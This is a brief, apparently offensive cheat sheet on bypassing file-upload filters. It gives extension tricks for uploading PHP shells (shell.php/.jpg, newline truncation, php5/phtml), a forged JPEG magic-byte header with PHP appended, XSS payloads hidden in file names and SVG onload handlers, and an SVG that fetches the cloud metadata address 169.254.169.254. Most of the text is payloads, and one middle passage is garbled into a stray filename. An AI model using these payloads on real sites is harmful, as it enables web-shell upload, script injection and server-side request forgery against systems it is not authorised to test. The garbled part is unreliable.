File uploads are often filtered on extension, content-type, magic bytes, or image dimensions. Test each layer separately.
shell.php/.jpg # server may strip after slash shell.html%0d%0a.jpg # newline truncation .txt, .svg, .xml # often forgotten in filters shell.php5, shell.phtml # alternate PHP extensions
.jpg but Content-Type text/html\xff\xd8\xff) at start but append PHP/HTML after58832_300x300.jpg<svg onload=confirm()> "><img src=x onerror=alert(1)>.jpg
SVG files are XML and support JavaScript event handlers:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"> <rect width="100" height="100"/> </svg>
<svg><image href=“http://169.254.169.254/”/>